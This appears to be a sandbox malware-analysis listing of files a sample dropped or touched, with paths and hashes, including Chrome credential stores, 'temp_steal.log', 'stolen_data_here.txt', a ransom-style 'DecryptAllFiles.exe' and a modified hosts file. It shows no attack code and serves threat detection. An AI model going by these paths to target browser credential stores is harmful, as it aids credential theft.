- SHA256 a7ac98e23eb6c51305d115a2cf9cd5a774f1c8f5dfcc3d1dd47180e07bfd29d9
- MD5 0ebfe223cfc6e3546356e7fdb29aca31
- SHA1 c999500be0ca5ced075d1ff6b986b255969066f1
- SHA512 4c3a8e38f80a5ee71721add31ef674f07948a502a04da829db58e75751ec892afd7f587633ea3f09bc637dd873b61bfcd4c8383f4c94c74b5088fb635c95d977
- TLSH T12FB00255C1426712C44203F125A6A5D87570DF3DCB431222E2E85A66FC6AA724A25161
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 e4fb535b8aacfde9234aabd4c995eb8145999c043a77112006284ebd1a6767b4
- MD5 be2fe7007a8e3da2f6daa3d40f3af83b
- SHA1 175ac123d004b2171f385c369821e3115efa5810
- SHA512 3d7bbed434b13717a3cce652ede8eb051623da1df2cdfb08e2d788703bfcc8874704b79c75705fb88724463bb6727c01db7f3162844b401ca56c0936550ff36b
- SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2OFpX6Qq2Vump2wkn:jeuvBnhJsueMEGvIW1DcP2OjDVump2nn
- TLSH T19FD3974B3A743102EDE59A721CE051BB5E3CB16D8F5195D428B620688EF2863B23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 199KB
- SHA256 f67a681410c7c1392112f4af27906af8e793c0fc48ceb6607372c0ba33ee2259
- MD5 606bdeafd65d0ba615916c13330b0855
- SHA1 03fb95e62974fb14a787d0f2d0c7d337a5015bfe
- SHA512 22e0e635a9ed6cee53b8be3d770e1dd39cd5ecc6cf1b23439dd769af5ab99c02f3bab0550d4060341f58e6dd1bfcc79c46d57cb81c60d2cfc1cbdf862bc272ee
- SSDEEP 6144:08lRUhDlUtHJhjkeM4C4rOk0HOGm/SFyEE+:08AhhUtjO4rOjuGdF2+
- TLSH T11F1412BB490B0FFB9E7D81B1749F6D09CF27429D70FBB4941168B2CD72855862B22932
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 91KB
- SHA256 0cbba9ed0d780b00585236b407ae68a1e31bf1f48ed2a07415e1d7023af9b0fc
- MD5 815a8dd28ccfc5a75d955ab5c6fea4fa
- SHA1 7b48439dc36c20a0a98c0e4c3be4232971a63c77
- SHA512 0507027f4b4f18c6fffaa64a902e0741068d5bb4b9b810e09b6f3f7d06e30441a6a7eeef28ea2ee2619bd0ff57e9fe52f8a0bdc5f652e463e96bf44f312a79d9
- SSDEEP 1536:0RN3C2UcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jP:0m3Qw/xLANk0mUW5GmRntSFCjEENj
- TLSH T16C9312BA9E2A45E795BE46D1769E780ACE13130D309FA9CC7258538C21D41CD2B73E73
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 89KB
- SHA256 fc28d3cb2c4935058b0a1d586d57fadeb1c23ccb00cdd5167230d0dfde9dcbdc
- MD5 755d6da1200eaf6f220e9062e37fe512
- SHA1 d1d3bc45af9c208503540b5895a7fd72bab7a2e9
- SHA512 3d005c24701874b3eda06e38c27ae0a4da473fc8099bd6b6519968de93b2297c76222dcfbc6bf59a87e087520b879ef12e42f70ed909a30f7ac7d4899bc2b6c2
- SSDEEP 1536:0cCIcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9Yj:0E3Qw/xLANk0mUW5GmRntSFCjEENW
- TLSH T1AE9302BA9E2646EB957E468176AE7808CE13130D709FA9CC315C639C21D42C92B72E73
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 200KB
- SHA256 4713af38e0f8bcde6a8fb3c8f41819d854efd5f07a4f5838f23950ccd89588b4
- MD5 207e8808be60bd1b97e7104b499d7c60
- SHA1 d5ebfeffb313b13d01ce11a0d9868ac41866e4a2
- SHA512 fcebe5335110d33e39aba51384ed41bcf1f7606b28ec00ca78671c090626c3894aed11efadac27dd56f0ca8fdb3ffb44b334c6c2664d3057b234562d88d364d2
- SSDEEP 6144:0EhlRUhDlUtHJhjkeM4C4rOk0HOGm/SFyEE+:0KAhhUtjO4rOjuGdF2+
- TLSH T1571413BB580B0FFB9E7D85B5705F3909CF63539DB0FAB4882158B68D72891461F22932
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\pixelio.io_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p1exel30.2va.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 242B
- SHA256 08866d478d7fe36602d56614394a000515724d47c3adcb6794b11e09e47b0b6e
- MD5 283a108dcbfeaabdf320695f7ab8127a
- SHA1 ea97dc8df2d8cb0c9dfd5d650ec5e960143f0848
- SHA512 8a81bd5e97b4474853b3134f1666b433f87e80666411680651cd0df3913e2d59a16689e2b692fad5379db3ba66bf6420a8de588272013d68b663b860a573a743
- TLSH T189D0A78FB248C6E90001223B81F38D4CF9E58C3C3B17BE709AA5DD4D36918858EF6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\invoice_1.pdf
- Size 68KB
- SHA256 fb08d874bbc178583675dd0381a08082b1a3f0ed088078c9696cdb0458df7281
- MD5 559334474fce7f296c711a2a50d47ce3
- SHA1 f3780bac86e0e3adc3d3e830f8239b4d8c5ece8f
- SHA512 0b3cd99fa627fb9d3ed37af9cfa0158074c1086b5611823bbe836ae4866daecbfc2368e6991c3808ccb91147aa43847cec85bea511696346686f0ecee504d82a
- SSDEEP 1536:FBU+XPHXcBn3fqM+3BoimpWYK3q5H8RBtsF/uPBJA8ezplLRSku1uJ6VEBrN:FBUU3cBn63Bo9Vz5cRDSuazplCI3pN
- TLSH T1C1633C374B33FDC1A77E3D80E05039461C883F6787B56678FA850EAA18E6244EF6E558
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 243B
- SHA256 4016b797cc6c5f3d0a4442ddd4a99ec4c353ed561b425885a87f9ba285949f90
- MD5 7c9327e961efc6721f9e80d7427f7a38
- SHA1 acb825bbbdb31b51ba84bd5659776ad44506ae28
- SHA512 e617459be868e1e7d356fc1b62ce1bda9e048b7d30d4db315782c7feca20a18f43d0584a7433bc2f4e9ff7657d97f44a18c580799fe9446b23b9010006576fc1
- TLSH T1B9D05B8B614886A90001123B40B38D4CE5D148383A176D209555DD0D36414454DB5543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 275KB
- SHA256 83af1f06db7a7d1b2d0a61a339ac33f5b4e37277ef656cff7375e08d08ec90ff
- MD5 049034bb39692bd90279e62ca201f93a
- SHA1 c8f2abbe5cac28ed0cf33b65d6ef3c61864a3075
- SHA512 41b0389b5e1df0fa886f4b40fdc1f9d4a037703892e92c872427796d7ebb332063020826df7a862ab905a3b0c67919565b79a8e87dee2e9b4b8c959b39f47b27
- SSDEEP 3072:DJRHMBh5GMqoH17HtfJRH126ftRg+UTr2eXuEMD4YQGJ3:1RHKKMqoVbvRHnPR5UWD4TG1
- TLSH T1C9547901D6B68E2E14925ADF085372D1A438F7B1C2ECD5FB30A3AF63F162DE2C619615
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\DecryptAllFiles.exe
- Size 50KB
- SHA256 2b62cd84acace259d0dc9ff7ed2abb44a0bcae2f07a4f18b5c179cf5b7b362d2
- MD5 db57b6c16c3f093e44c3b20f3fdbaeef
- SHA1 90ec20ad85a1da0f71d2028e2286b300fc863803
- SHA512 9e5b60ade7fcc05a753907a843e9a01c77addf10293c09a5d38a308d8d89e8e92babc42463e132f73f3fc4343d36dc667c353d77b8c16419ae992cbf2e0bcd72
- SSDEEP 768:vd4K1X41QZ+6IN1/jpf0ZxD8LNJK/P/RgL4DC1XXGblfpp9KFc5xP:1Ta+ZNklpCAr0PGL4DEXGblfL9uc7
- TLSH T12933F74477F94212F1FF4ABA49B19601AB30B8A79C22D78E06D5058E1AB3740DDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 275KB
- SHA256 705b404781ac86637192ff27e868a0699bc90e0bf3c3e1d8d0a19d1328aa7e46
- MD5 9761293d59940998225ad2eee0ab2578
- SHA1 8ea17e3784b236701e1c4d55e2d1ad8de4a07072
- SHA512 55327e9b325525ab5d38129bfb04cfc13342dadbe39c8ffa18c4d23452fd0e2aeb6ff34e0b06fe1573dddd248a89782584068bdc97eabfba45e60e0e0c5e2afa
- SSDEEP 3072:dJRHMBh5GMqoH17HtyJRH126ftRg+UTr2eXuEMD4YQGJ3:LRHKKMqoVbMRHnPR5UWD4TG1
- TLSH T16F547901D6B68E2E14925ADF185372D1A438F7B1C2ECD5FB30A3AF63F062DE2C619615
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH